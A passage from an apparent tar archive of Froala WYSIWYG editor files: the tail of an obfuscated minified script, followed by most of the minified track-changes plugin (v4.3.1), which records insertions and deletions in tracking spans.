p._[ql((qx(d._,16)),0xf)],q._[ql((qx(d._,12)),0xf)])| r._[ql((qx(d._,8)),0xf)],s._[ql((qx(d._,4)),0xf)]);y._= qh(qh(qh(t._[qx(w._,28)]| u._[ql((qx(w._,24)),0xf)],v._[ql((qx(w._,20)),0xf)])| k._[ql((qx(w._,16)),0xf)],l._[ql((qx(w._,12)),0xf)])| m._[ql((qx(w._,8)),0xf)],n._[ql((qx(w._,4)),0xf)]);A._= ql((qy((qx(y._,16)),f._)),0x0000ffff);c._[g._++]= qy(f._,A._);c._[g._++]= qy(y._,(qr(A._,16)))}}function sK(b){b._[a[15]][a[25]]= a[22]}function sL(b){b._[a[15]][a[125]]= a[22]}function sM(c,b){c._[a[15]][a[125]]= qn(b._,a[27])}function sN(c,b){c._[a[15]][a[25]]= qn(b._,a[27])}function da(b){return function(c){c[a[430]]()[a[429]](db(b))}}function dn(d,f,h,c,j,g,b,a){return function(){var k=f._[d._];(1&&a._)(k,dp(d,f,h,c,j,g),d._,b._)}}function uU(a,b){a._= b._}function uX(a){a._-= qw(a._,97)?87:48}function uY(a){a._-= qw(a._,97)?87:48}function uZ(b,a,c){a._[qp(b._,2)]= c._}function va(a){a._= true}function wD(a){a._++}function wE(b,c){b._[a[653]]= c._}function wF(b,c){b._[a[664]]= c._}function wG(b,c){b._[a[667]]= c._}function wJ(b,c){b._[a[50]]= c._[1]}function eh(f,d,g,h,b,c){return function(){var j={};j= ei(f,d,g,h,b);if(!j()){(1&&c._)(f._);if(!j()){qK()[a[85]](a[686])}}}}function wL(c,b){c._[a[15]][a[693]]= b._}function eo(c,d,b,f,a){return function(){(1&&d._)(c._);(1&&b._)();(1&&a._)(f._)}}function eq(a){return function(b){(1&&a._)(b)}}function ew(b,j,c,g,d,f,h){return function(m){var o={};var k={};k= ex(o,b,j,c,g,d,f);o._= m;o._[a[93]][a[92]](a[706]);wR(o);wS(o);if(h._[a[421]]){for(var l=0;qq(l,h._[a[421]][a[40]]);l++){k(h._[a[421]][l])}}else {if(h._[a[710]]&& h._[a[711]]){for(var n=h._[a[710]];qs(n,h._[a[711]]);n++){k(qn(qn(a[712]+ h._[a[511]],a[713])+ rd()[a[714]](n),a[715]))}}}}}function wX(b){b._[a[15]][a[14]]+= a[724]}function wY(b){b._[a[286]]= a[747]}function eI(c,b){return function(){(1&&b._)(c._[a[423]][0])}}function eK(){return function(){}}function eM(){return function(){}}function xd(b){if(b._){b._[a[15]][a[18]]= a[22]}}function xe(b){b._[a[15]][a[240]]= a[772]}function eV(b,d,c){return function(h,g){var k={},j={},f={};k._= h;j._= g;f._= (1&&b._)(k._,a[12],a[22],a[777]);;xh(f,j);f._[a[341]]= eW(d,j,k,c)}}function eX(b,c){return function(f){for(var d=0;qq(d,b._[a[778]][a[40]]);d++){(1&&c._)(f,b._[a[778]][d])}}}function xl(b,c){if(!b._[a[50]]){b._[a[50]]= c._}}function xE(b,c){b._[a[50]]= c._}function fv(c,d,f,b){return function(){xF(c,d);c._[a[97]]();(1&&b._)(f._)}}function xU(b,c){b._[a[15]][a[125]]= c._}function xV(b,c){b._[a[15]][a[25]]= c._}function fN(b,d,c){return function(h,g){var k={},j={},f={};k._= h;j._= g;f._= (1&&b._)(k._,a[12],a[22],a[777]);;xX(f,j);f._[a[341]]= fO(d,j,k,c)}}function fP(b,c){return function(f){for(var d=0;qq(d,b._[a[835]][a[40]]);d++){(1&&c._)(f,b._[a[835]][d])}}}function fQ(a){return function(){a._= true}}function yd(b,c){if(!b._[a[21]]){b._[a[50]]= c._}}function yg(c,b){c._[a[64]]= b._?a[855]:a[22]}function yh(c,d,a,f,b){if(c._){if(qv(d._,a._)){a._= d._};if(qv(f._,b._)){b._= f._}}}function yi(c,d,b){c._[a[15]][a[18]]= (qv(d._- 2,b._))?a[19]:a[22]}function yj(c,d,b){c._[a[15]][a[18]]= (qv(d._- 2,b._))?a[19]:a[22]}function yk(b,c){b._[a[50]]= qn((qn(c._,1))+ a[856],(qn(move_y,1)))}function yl(b,c){b._= c._[a[396]],move_y= c._[a[234]]}function yW(b,c){b._[a[50]]= c._}function hl(){return function(){}}function Ax(b){if(b._[a[1045]]){b._[a[1045]][a[15]][a[18]]= a[19]}}function Ay(b){b._[a[15]][a[18]]= a[22]}function Az(b,c){b._[a[1045]]= c._}function AD(b){b._[a[21]]= a[1070]}function AL(a){a._= false}function kf(b){return function(c){return b._[a[123]](c)|| c[a[123]](b._)}}function Ce(b,a){b._= a._}function Cf(b){b._= b._[a[992]]}function Cg(a,b){a._= b._}function Ch(a){a._++}function Ci(c,b){c._+= b._[a[211]][a[40]]}function Cj(c,b){c._+= b._[a[211]][a[40]]}function Ck(b,a){b._= a._}function Cl(b,a){b._= a._}function Cm(b){b._= b._[a[393]]}function Cn(a,b){a._= b._}function Co(a){a._++}function Cp(b,a){b._= a._}function Cw(b,c){b._[a[741]]= c._}function DU(b){b._[a[15]][a[693]]= a[22]}function DV(c,b){b._[a[15]][c._]= a[22]}function DW(d,c,b){if(d._){b._[a[15]][c._]= d._}}function Ea(c,a,b){c._= qn(a._* 3,b._)}function Eb(b,a){if(qq(b._,3)){a._= qo(5,a._)}}function Ec(b,a){if(qt(b._,1)|| qt(b._,4)){a._= qo(5,a._)}}function Ef(a){a._= null}function Eg(a){a._= null}function Eh(c,b){c._[a[89]]= b._}function Ex(a,b,c){a._= qn(b._,c._)}function Ey(a,b,c){a._= qn(b._,c._)}function Ez(d,c,f,g,b){if(d._){c._[a[15]][a[604]]= qn(qn(a[1583]+ f._,a[1584])+ g._,a[1585])}else {b._[a[15]][a[604]]= qn(qn(a[1583]+ f._,a[1584])+ g._,a[1585])}}function db(a){return function(b){b= rd()(b);(1&&a._)(b)}}function dp(c,d,g,b,h,f){return function(k,j){var l={};l._= k;if(l._){uS(c,d,l);uT(c);if(qq(c._,d._[a[40]])){(1&&g._)()}else {(1&&h._)(b._,d._)};return};if(j){if(!(1&&f._)(a[448],a[449],String(j))){qD()(qn(a[450],j))}}else {qD()(a[451])}}}function ei(d,c,f,g,b){return function(){var h={};h._= (1&&c._)(qt(d._,a[553])?a[682]:a[683]);;if(h._){wK(h,f);(1&&b._)(g._)};return h._}}function wR(b){b._[a[15]][a[707]]= a[383]}function wS(b){b._[a[15]][a[708]]= a[77]}function ex(j,b,h,c,g,d,f){return function(m,k){var l={},n={};l._= m;n._= (1&&b._)(j._,a[709],a[22]);;wT(n,l);n._[a[341]]= ey(h,c,l,g,d,f)}}function xh(b,c){b._[a[50]]= c._}function eW(c,d,f,b){return function(){xi(c,d);c._[a[97]]();(1&&b._)(f._)}}function xF(b,c){b._[a[89]]= c._}function xX(b,c){b._[a[50]]= c._}function fO(c,d,f,b){return function(){xY(c,d);c._[a[97]]();(1&&b._)(f._)}}function uS(a,b,c){b._[a._]= c._}function uT(a){a._++}function wK(b,c){b._[a[15]][a[685]]= c._[0]}function wT(c,b){c._[a[21]]= b._}function ey(g,a,f,d,b,c){return function(){(1&&a._)(g._);(1&&d._)(f._);(1&&b._)(false);(1&&c._)()}}function xi(b,c){b._[a[89]]= c._}function xY(b,c){b._[a[89]]= c._}})() plugins/track_changes.min.js 0000674 00000101071 00000000000 0012105 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(U){"use strict";function i(e,t){(null==t||t>e.length)&&(t=e.length);for(var a=0,n=Array(t);a<t;a++)n[a]=e[a];return n}function F(e){return function t(e){if(Array.isArray(e))return i(e)}(e)||function a(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function n(e,t){if(e){if("string"==typeof e)return i(e,t);var a={}.toString.call(e).slice(8,-1);return"Object"===a&&e.constructor&&(a=e.constructor.name),"Map"===a||"Set"===a?Array.from(e):"Arguments"===a||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(a)?i(e,t):void 0}}(e)||function r(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}U=U&&U.hasOwnProperty("default")?U["default"]:U,Object.assign(U.DEFAULTS,{trackChangesEnabled:!1,showChangesEnabled:!1}),U.PLUGINS.track_changes=function(M){var _=M.$;_.fn.isAfter=function(e){var t=_(this),a=t.parents(),n=e.parents(),r=t;for(var i in a){var s=e;if(a.hasOwnProperty(i)){var l=_(a[i]);for(var o in n)if(n.hasOwnProperty(o)){var c=_(n[o]);if(l[0]===c[0]){var d=r.index();return s.index()<d}s=c}r=l}}return!1};var s,r,l=[],I="",w="",T="",L="",C=[],i=[],S=null,P=[],d=!1;function o(){return l.pop()}function N(e){var t=!(!e||8!=e.keyCode),a=e&&13==e.keyCode,n=!(!e||46!=e.keyCode);if(M.opts.trackChangesEnabled){M.selection.restore(),e&&e.composing&&(M.selection.save(),M.selection.ranges()[0].collapse(!1));var r=M.selection.ranges(0).startContainer,i=_(r).parentsUntil(M.$el,"[data-tracking=true]");if(_(r).data("tracking")&&t){M.markers.insert();var s=M.$el.find(".fr-marker");return s[0].previousSibling&&"IMG"===s[0].previousSibling.tagName||M.selection.clear(),void _(s).remove()}if(!i.length||"TD"==r.tagName||a){if(M.selection.isCollapsed()){M.markers.insert();var l=M.$el.find(".fr-marker");if(e&&e.composing&&(l=_(l[1])),!l.length)return;var o="pending-".concat(M.id,"-").concat(M.track_changes.getPendingChanges().length),c=M.opts.showChangesEnabled?'class="fr-highlight-change"':"";if(t||n){if(t){if(!l[0].previousSibling||l[0].previousSibling.nodeType!==Node.ELEMENT_NODE||!l[0].previousSibling.lastChild||l[0].previousSibling.lastChild.nodeType!==Node.ELEMENT_NODE||"IMG"!==l[0].previousSibling.lastChild.tagName){for(;_(l[0].previousSibling).data("tracking");)l.insertBefore(l.prev());_(l[0].previousSibling).find("[data-tracking=true]").length&&l.insertBefore(_(l[0].previousSibling).find("[data-tracking=true]").eq(0))}}else if(_(r).data("tracking")){if(!r.nextSibling)return void(l[0].nextSibling&&"IMG"===l[0].nextSibling.tagName&&l[0].nextSibling.remove());l.insertBefore(r.nextSibling),R(l)}else R(l);var d=l[0]&&l[0].previousSibling?l[0].previousSibling.nodeValue:"",g=d&&d.slice(0,-(e.selectionLength?e.selectionLength:1));n&&(l[0].nextSibling&&"SPAN"!==l[0].nextSibling.tagName&&null===l[0].nextSibling.nodeValue&&l[0].nextSibling.firstChild&&l[0].nextSibling.firstChild.before(l[0]),g=(d=l[0].nextSibling?l[0].nextSibling.nodeValue:" ")&&d.slice(1)),n&&l[0].nextSibling&&"isPasted"===l[0].nextSibling.id?g=(d=l[0].nextSibling?l[0].nextSibling.textContent:" ")&&d.slice(1):t&&l[0].previousSibling&&"isPasted"===l[0].previousSibling.id&&(g=(d=l[0].previousSibling?l[0].previousSibling.textContent:" ")&&d.slice(0,-(e.selectionLength?e.selectionLength:1)));var h,f=_('<span data-tracking="true" data-track-id="'.concat(o,'" ').concat(c,"></span>")),p=_('<span data-tracking-deleted="true" class="fr-tracking-deleted" '.concat(M.helpers.isIOS()?"":'contenteditable="false"',"></span>"));M.opts.showChangesEnabled||(M.helpers.isMobile()?p.addClass("fr-track-hide-mobile"):p.addClass("fr-track-hide"));var u=!1,k=!1;if(t)try{var m=l[0]&&l[0].previousSibling;if(l[0]&&l[0].previousElementSibling&&"I"===l[0].previousElementSibling.tagName&&!d&&(h=l[0].previousElementSibling),m&&3===m.nodeType&&"SPAN"!==m.parentNode.tagName&&m.previousSibling&&"SPAN"===m.previousSibling.tagName&&" "===m.nodeValue&&0<_(m.previousSibling).find(".fr-emoticon").length?h=m.previousSibling:m&&"SPAN"===m.parentNode.tagName&&0<_(m.parentNode).find(".fr-emoticon").length?(h=m.parentNode,u=!0):m&&("SPAN"===m.tagName&&"isPasted"!==m.id||"HR"===m.tagName)?h=m:_(l).parent().prev().is("hr")?(h=_(l).parent().prev().get(0),u=k=!0):m&&"IMG"===m.tagName&&(h=m,_(f).prepend("".concat(U.MARKERS)),_(f).append("".concat(U.MARKERS))),M.helpers.isMobile()&&l[0]&&!h&&!d&&!g)return;u?(_(l[0].parentNode).after(f),k?_(l).parent().remove():_(l).remove()):l[0]?e.composing?_(l).after(f):_(l).before(f):_(L).before(f)}catch(e){L&&_(L).before(f)}else if(n){var b=l[0].nextSibling;l[0].nextElementSibling&&"I"===l[0].nextElementSibling.tagName&&!l[0].nextSibling.nodeValue?h=l[0].nextElementSibling:b&&3===b.nodeType&&"SPAN"!==b.parentNode.tagName&&b.nextSibling&&"SPAN"===b.nextSibling.tagName&&" "===b.nodeValue&&0<_(b.nextSibling).find(".fr-emoticon").length?h=b.nextSibling:b&&"SPAN"===b.parentNode.tagName&&0<_(b.parentNode).find(".fr-emoticon").length?(h=b.parentNode,u=!0):b&&"SPAN"===b.tagName&&l[0].nextSibling&&"isPasted"!==l[0].nextSibling.id?h=b:b&&"IMG"===b.tagName&&(h=b,_(f).prepend("".concat(U.MARKERS)),_(f).append("".concat(U.MARKERS))),u?(_(l[0].parentNode).before(f),_(l).remove()):_(l).after(f)}if(e.composing?P.push({span:f,"delete":p}):(M.helpers.isIOS()&&P.push({"delete":p}),_(f).prepend(p)),!h&&(h=d&&d.replace(g,""),M.helpers.isMobile()&&I&&!e.composing)){var v=M.selection.get().focusNode,C=M.selection.get().focusOffset,S=1;w&&v&&w.isSameNode(v)&&(S=T-C),h=I.replace(/\u00a0/g," ").replace(d.replace(/\u00a0/g," "),"").slice(0,S)}if(h&&(u?(_(p).append(_(_(h).get(0).outerHTML)),M.markers.insert()):_(p).append(h)),h&&0==h.length)return;M.browser.msie&&t&&(_(f).prepend("".concat(U.MARKERS)),_(f).append("".concat(U.MARKERS))),t&&(g||""===g)&&l[0].previousSibling?l[0].previousSibling.nodeValue=g:n&&(_(f).append("".concat(U.MARKERS)),l[0].nextSibling.nodeValue=g)}else{var N=U.INVISIBLE_SPACE;if(e&&M.helpers.isMobile()&&((N=l[0]&&l[0].previousSibling&&l[0].previousSibling.nodeValue?l[0].previousSibling.nodeValue.slice(-1):U.INVISIBLE_SPACE)&&l[0]&&l[0].previousSibling&&l[0].previousSibling.nodeValue?l[0].previousSibling.nodeValue=l[0].previousSibling.nodeValue.slice(0,-1):!l[0]||l[0].previousSibling||l[0].nextSibling||N!==U.INVISIBLE_SPACE||(N=M.selection.get().focusNode.nodeValue.slice(T,M.selection.get().focusOffset),M.selection.get().focusNode.nodeValue=M.selection.get().focusNode.nodeValue.slice(M.selection.get().focusOffset))),a){if(l.parent().parent().is("li"))return;var E=_("<p></p>");return void(0<l.closest("p").length&&(l.closest("p").after(E),E.append(l),M.markers.remove(),setTimeout(function(){E.prev().text()!==String.fromCharCode(8203)&&""!==E.prev().text()||E.prev().remove(),M.selection.setAfter(E[0])},1)))}l[0].previousSibling&&"BR"===l[0].previousSibling.tagName&&l[0].previousSibling.remove(),l.replaceWith('<span data-tracking="true" data-track-id="'.concat(o,'" ').concat(c,">").concat(N+U.MARKERS,"</span>"))}M.selection.restore(),M.track_changes.pushChange(o)}else{M.selection.save();var y=M.$el.find('.fr-marker[data-type="true"]').length&&M.$el.find('.fr-marker[data-type="true"]').get(0),x=M.$el.find('.fr-marker[data-type="false"]').length&&M.$el.find('.fr-marker[data-type="false"]').get(0);if(_(y).parent().hasClass("fr-emoticon")&&_(y).parent().before(y),_(y).isAfter(_(x))){var A=y;y=x,x=A}$(y,x,e&&e.deletion),M.selection.restore()}M.helpers.isMobile()&&I&&M.markers.remove()}}}function R(e){if(_(e[0].nextSibling).data("tracking")){for(;_(e[0].nextSibling).data("tracking")&&(!(0<_(e[0].previousElementSibling).find("[data-tracking-deleted=true]").length&&0<_(e[0].nextElementSibling).find("[data-tracking-deleted=true]").length)||_(e[0].previousSibling).data("tracking"));)_(e).insertAfter(e.next());e.insertBefore(e[0].previousSibling)}}function $(e,t){var a=2<arguments.length&&arguments[2]!==undefined&&arguments[2];if(e&&(!e.isSameNode(t)||!_(e).hasClass("fr-marker"))){for(;e.nodeType===Node.COMMENT_NODE;)e=e.nextSibling;if(_(e).parent().is("table")&&0!==_(e).parent().next().text().length&&$(_(e).parent().next()[0],t,a),"TD"!==e.tagName||1!==e.childNodes.length||"BR"!==e.childNodes[0].tagName){if(M.node.isBlock(e)&&"HR"!==e.tagName)return M.node.hasClass(e.firstChild,"fr-marker")?$(e.firstChild.nextSibling,t,a):$(e.firstChild,t,a),!1;if("BR"===e.tagName&&"TD"===e.parentElement.tagName){var n=e.parentElement.nextElementSibling;_(e).remove(),$(n,t)}var r="pending-".concat(M.id,"-").concat(M.track_changes.getPendingChanges().length),i=M.opts.showChangesEnabled?'class="fr-highlight-change"':"",s=_('<span data-tracking="true" data-track-id="'.concat(r,'" ').concat(i,"></span>")),l=_('<span data-tracking-deleted="true" class="fr-tracking-deleted" '.concat(M.helpers.isIOS()?"":'contenteditable="false"',"></span>"));M.opts.showChangesEnabled||(M.helpers.isMobile()?l.addClass("fr-track-hide-mobile"):l.addClass("fr-track-hide"));var o=e;for(_(e).before(s),M.track_changes.pushChange(r);o&&_(o).hasClass("fr-marker");)o=o.nextSibling;for(var c=!1;o&&!c&&!_(o).hasClass("fr-marker")&&!_(o).is("[data-track-id]")&&0===_(o).find("fr-marker").length&&"UL"!==o.tagName&&"OL"!==o.tagName;){var d=o;if("IMG"===o.tagName&&_(o).data("tracking-img","true"),M.node.isBlock(o)&&"HR"!==e.tagName)return $(o.firstChild,t,a),!1;if(o)for(var g=o.childNodes,h=0;h<g.length;h++)if(g[h].className&&"fr-marker"===g[h].className){c=!0,$(o.firstChild,t,a);break}c||(o=o.nextSibling,_(l).append(d))}if(!o||"UL"!==o.tagName&&"OL"!==o.tagName||$(o,t,a),a?P.push({span:s,"delete":l}):(M.helpers.isIOS()&&P.push({"delete":l}),_(s).prepend(l)),M.browser.msie?_(s).prepend("".concat(U.INVISIBLE_SPACE+U.MARKERS)):_(s).prepend("".concat(U.INVISIBLE_SPACE)),_(s).append("".concat(U.INVISIBLE_SPACE+U.MARKERS)),!o&&!e.isSameNode(t)){for(var f=s.get(0).parentNode;f&&!f.nextSibling&&!M.node.isElement(f);)f=f.parentNode;if(f){var p=f.nextSibling;p&&(M.node.isBlock(p)?"HR"===p.tagName?$(p.nextSibling,t,a):(M.browser.mozilla&&"LI"===f.tagName&&"SPAN"===f.lastChild.tagName&&_(f.lastChild).hasClass("fr-marker")&&f.lastChild.remove(),$(p.firstChild,t,a)):$(p,t,a))}}}}}function E(e){if(M.opts.trackChangesEnabled){M.selection.restore();var t=M.selection.ranges(0).startContainer,a=_(t).parentsUntil(M.$el,"[data-tracking=true]");if(_(t).data("tracking"))return;if(!a.length&&!M.selection.isCollapsed()&&"quote"!=e){M.selection.save(),f(M.$el.find('.fr-marker[data-type="true"]').length&&M.$el.find('.fr-marker[data-type="true"]').get(0),M.$el.find('.fr-marker[data-type="false"]').length&&M.$el.find('.fr-marker[data-type="false"]').get(0));var n=M.$el.find('.fr-marker[data-type="true"]').length&&M.$el.find('.fr-marker[data-type="true"]').get(0),r=n.parentNode;if(r&&"A"===r.tagName&&r.firstChild&&"SPAN"===r.firstChild.tagName&&2<r.firstChild.childNodes.length&&"STRONG"===r.firstChild.childNodes[3].tagName)_(r.firstChild.childNodes[3].firstChild).before(n);else{for(var i=n.previousSibling.firstChild;i&&"SPAN"!==i.tagName;)i=i.nextSibling;_(i).after(n)}M.selection.restore()}}}function f(e,t,a){if(e&&!("<br>"===_(e).html()&&_(e).parent().is("td")||(_(e).parent().is("table")&&0!==_(e).parent().next().text().length&&f(_(e).parent().next()[0],t,a),_(e).is("br")&&_(e).parent().length&&_(e).parent().is("td")&&0===_(e).parent().text().length))){for(a||(a="pending-".concat(M.id,"-").concat(M.track_changes.getPendingChanges().length),M.track_changes.pushChange(a));e.nodeType===Node.COMMENT_NODE;)e=e.nextSibling;if(M.node.isBlock(e)&&"HR"!==e.tagName)return M.node.hasClass(e.firstChild,"fr-marker")?f(e.firstChild.nextSibling,t,a):f(e.firstChild,t,a),!1;var n=M.opts.showChangesEnabled?'class="fr-highlight-change"':"",r=_('<span data-tracking="true" data-track-id="'.concat(a,'" ').concat(n,"></span>")),i=_('<span data-tracking-deleted="true" class="fr-tracking-deleted" contenteditable="false" style="display:none"></span>'),s=e;for(_(e).before(r);s&&_(s).hasClass("fr-marker");)s=s.nextSibling;for(var l=!1;s&&!l&&!_(s).hasClass("fr-marker")&&0===_(s).find("fr-marker").length&&"UL"!==s.tagName&&"OL"!==s.tagName;){var o=s;if(M.node.isBlock(s)&&"HR"!==e.tagName)return f(s.firstChild,t,a),!1;if(s)for(var c=s.childNodes,d=0;d<c.length;d++)if(c[d].className&&"fr-marker"===c[d].className){l=!0,f(s.firstChild,t,a);break}l||(s=s.nextSibling,_(i).append(o.cloneNode(!0)),_(r).append(o))}if(!s||"UL"!==s.tagName&&"OL"!==s.tagName||f(s,t,a),_(s).hasClass("fr-marker")&&_(r).append(s),_(r).prepend(i),_(r).prepend("".concat(U.INVISIBLE_SPACE)),_(r).append("".concat(U.INVISIBLE_SPACE)),!s&&!e.isSameNode(t)){for(var g=r.get(0).parentNode;g&&!g.nextSibling&&!M.node.isElement(g);)g=g.parentNode;if(g){var h=g.nextSibling;h&&(M.node.isBlock(h)?"HR"===h.tagName?f(h.nextSibling,t,a):f(h.firstChild,t,a):f(h,t,a))}}}}function c(e,t,a){var n=M.opts.showChangesEnabled?'class="fr-highlight-change"':"",r=_('<span data-tracking="true" data-track-id="'.concat(a,'" ').concat(n,"></span>")),i=_('<span data-tracking-deleted="true" class="fr-tracking-deleted" contenteditable="false"></span>');M.opts.showChangesEnabled||i.addClass("fr-track-hide"),i.append(t.get(0).innerHTML),r.append(i);var s=e.get(0).innerHTML;e.html(""),e.append(r),r.append(s)}function g(){if(M.events.trigger("image.hideResizer"),M.events.trigger("video.hideResizer"),M.html.cleanEmptyTags(!0),M.helpers.isMobile())for(var e=M.$el.find("img[data-tracking-img]"),t=0;t<e.length;t++){var a=_(e.get(t));a.parent()&&a.parent().data("tracking")||a.removeData("tracking-img")}}function e(){M.$el.find("li").each(function(){0===this.innerText.replace(/\u200B/g,"").length&&this.remove()})}function t(){var e=o();if(e){var t,a=M.$el.find("[data-track-id=".concat(e,"]"));if(a.length){var n=a.parent("a");if(n.length){var r=_(n.get(0).outerHTML).text();1===[].filter.call(r,function(e){return 8203!==e.charCodeAt(0)}).length&&(t=n)}for(var i=0;i<a.length;i++){var s=a.get(i),l=_(a).data("tracking-deleted")?_(a):_(s).find("[data-tracking-deleted=true]");l.length&&(l.get(0).remove?l.get(0).remove():l.get(0).parentNode.removeChild(l.get(0))),s.hasAttribute("style")?(_(s).removeData("tracking"),_(s).removeData("track-id"),_(s).removeClass("fr-highlight-change")):(M.selection.save(),0<_(s).find("IFRAME").length?(_(s).removeData("tracking"),_(s).removeData("track-id"),_(s).removeClass("fr-highlight-change")):s.outerHTML=s.innerHTML,M.selection.restore())}}t&&t.remove()}g()}function a(){var e=o();if(e){var t=M.$el.find("[data-track-id=".concat(e,"]"));if(t.length){M.selection.save();for(var a=t.length-1;0<=a;a--){var n=_(t).data("tracking-deleted")?_(t):_(t.get(a)).find("[data-tracking-deleted=true]");if(n.length)if(0<_(t).find("IFRAME").length)_(t).removeData("tracking"),_(t).removeData("track-id"),_(t).removeClass("fr-highlight-change"),_(t).removeClass("fr-tracking-deleted"),_(t).removeData("tracking-deleted"),_(t).removeAttr("contenteditable");else n.parent("[data-tracking=true]").data("track-id")==e?(_(t.get(a)).find("[data-tracking-deleted=true]").remove(),t.get(a).outerHTML=n.get(0).innerHTML):t.get(a).remove?t.get(a).remove():t.get(a).parentNode.removeChild(t.get(a));else t.get(a).remove?t.get(a).remove():t.get(a).parentNode.removeChild(t.get(a))}M.selection.restore()}}g()}return M.events.on("keydown",function(e){var t;if(!M.opts.trackChangesEnabled)return!0;if(s=null===(t=M.selection.get())||void 0===t||null===(t=t.focusNode)||void 0===t?void 0:t.nodeValue,M.helpers.isAndroid()){var a,n,r=M.selection.get();I=null==r||null===(a=r.focusNode)||void 0===a?void 0:a.nodeValue,w=null==r?void 0:r.focusNode,L=null===(n=w)||void 0===n?void 0:n.nextSibling,T=null==r?void 0:r.focusOffset}else if(function i(e){return(!M.keys.ctrlKey(e)||e.which!==U.KEYCODE.Z&&e.which!==U.KEYCODE.C)&&(48<=e.keyCode&&e.keyCode<=57||65<=e.keyCode&&e.keyCode<=90||97<=e.keyCode&&e.keyCode<=122||186<=e.keyCode&&e.keyCode<=222||13===e.keyCode||8===e.keyCode||32===e.keyCode||46===e.keyCode||96<=e.keyCode&&e.keyCode<=111)}(e))if(!M.keys.ctrlKey(e)||"b"!==e.key&&"i"!==e.key&&"u"!==e.key){if(M.keys.ctrlKey(e)&&"a"===e.key||M.keys.ctrlKey(e)&&"s"===e.key||M.keys.ctrlKey(e)&&"x"===e.key)return;N(e)}else E()},!0),M.events.on("cut",function(e){if(!M.opts.trackChangesEnabled)return!0;for(var t=M.selection.get().getRangeAt(0).cloneContents(),a="",n="",r=0;r<t.childNodes.length;r++){var i=t.childNodes[r],s=i.outerHTML,l=i.textContent;i.nodeType===Node.TEXT_NODE&&(l=s=i.textContent.replace(/\u200B/g,"")),a+=s,n+=l}M.paste.saveCopiedText(a,n,!0),N(e)},!0),M.events.on("keyup",function(e){if(!M.opts.trackChangesEnabled)return!0;var t;if(M.helpers.isMobile())if(r=null===(t=M.selection.get())||void 0===t||null===(t=t.focusNode)||void 0===t?void 0:t.nodeValue,d){for(var a=0;a<P.length;a++)M.opts.showChangesEnabled&&_(P[a].span).empty(),_(P[a].span).prepend(P[a]["delete"]);d=!(P=[])}else if(M.helpers.isIOS()){for(var n=0;n<P.length;n++)r&&1===r.length&&s&&1==s.length?(_(P[n]["delete"]).attr("contenteditable","true"),_(P[n]["delete"]).addClass("fr-ios-mobile-disable-select")):_(P[n]["delete"]).attr("contenteditable","false");P=[]}else{if(46===e.keyCode)return!0;N(e)}},!0),M.events.on("beforeinput",function(e){var t=e.originalEvent,a=!1;if(!M.opts.trackChangesEnabled)return!0;if(M.helpers.isAndroid()){var n=M.selection.get(),r=M.selection.ranges(0),i=r.startContainer,s=r.endContainer,l=_(i).parentsUntil(M.$el,"[data-tracking=true]"),o=_(s).parentsUntil(M.$el,"[data-tracking=true]");if("insertCompositionText"===t.inputType)if(""===t.data)a=!0;else if(n.toString().length>t.data.length){if(0<l.length||0<o.length)return d=!0,e.preventDefault(),!1;a=!0,e.composing=!0}if("insertText"!==t.inputType||M.selection.isCollapsed()||(a=!0),a||"deleteContentBackward"===t.inputType){var c;if(d=!0,i.lastChild&&!n.toString()&&null!==(c=i.lastChild.children)&&void 0!==c&&null!==(c=c.item(0))&&void 0!==c&&c.hasAttribute("contenteditable"))return;e.keyCode=8,e.deletion=!0,N(e)}}},!0),M.events.on("paste.before",function(e){M.opts.trackChangesEnabled&&M.helpers.isMobile()&&N(e)},!0),M.events.on("paste.after",function(e){if(M.opts.trackChangesEnabled){M.markers.insert();for(var t=M.$el.find(".fr-marker"),a=t.next();a.is("br");){var n=a.next();a.remove(),a=n}if(a.is("ul")||a.is("ol")){var r=t.closest("ul, ol"),i=a.children("li");i.find("[data-tracking=true]").add(i.closest("[data-tracking=true]")).addClass("fr-highlight-change");var s=0<a.closest("li").next().length?a.closest("li").next():function o(e){return e.append('<li data-temp-li="true"></li>').find("li").last()}(r);i.each(function(){var e=_(this),t="pending-".concat(M.id,"-").concat(M.track_changes.getPendingChanges().length),a=M.opts.showChangesEnabled?'class="fr-highlight-change"':"";_('<li><span data-tracking="true" data-track-id="'.concat(t,'" ').concat(a,">").concat(e.html(),"</span></li>")).insertBefore(s),M.track_changes.pushChange(t)});var l=r.find("li[data-temp-li=true");0<l.length&&l.remove(),a.remove()}M.markers.remove()}},!0),M.events.on("image.inserted",function(e){M.helpers.isMobile()&&M.opts.trackChangesEnabled&&e.data("tracking-img",!0)}),M.events.on("image.removed",function(e){if(M.helpers.isMobile()&&M.opts.trackChangesEnabled&&!e.data("tracking-img")&&!e.parent().data("tracking")){var t=M.selection.ranges(0).startContainer,a=_(t).parentsUntil(M.$el,"[data-tracking=true]");M.markers.insert();var n=M.$el.find(".fr-marker"),r="pending-".concat(M.id,"-").concat(M.track_changes.getPendingChanges().length),i=M.opts.showChangesEnabled?'class="fr-highlight-change"':"",s=_('<span data-tracking="true" data-track-id="'.concat(r,'" ').concat(i,"></span>")),l=_('<span data-tracking-deleted="true" class="fr-tracking-deleted" contenteditable="false"></span>');M.opts.showChangesEnabled||l.addClass("fr-track-hide"),e.data("tracking-img",!0),_(t).data("tracking")||a.length?(_(n).replaceWith(l),_(l).append(e),M.markers.remove()):(_(n).replaceWith(s),_(s).prepend(l),_(l).append(e),M.markers.remove(),M.track_changes.pushChange(r))}}),M.events.on("commands.before",function(t){if(!M.opts.trackChangesEnabled)return!0;var e=["applytextColor","bold","italic","underline","strikeThrough","subscript","superscript","fontFamily","fontSize","textColor","applybackgroundColor","inlineClass","inlineStyle","alignLeft","alignCenter","formatOLSimple","alignRight","alignJustify","formatOL","formatUL","paragraphFormat","paragraphStyle","lineHeight","outdent","indent","quote"];if(["change","applyAll","applyLast","removeLast","showChanges","trackChanges","moreTrackChanges","undo","redo","fullscreen","print","getPDF","spellChecker","selectAll","html","help"].filter(function(e){return e===t}).length||e.filter(function(e){return e===t}).length){if(e.filter(function(e){return 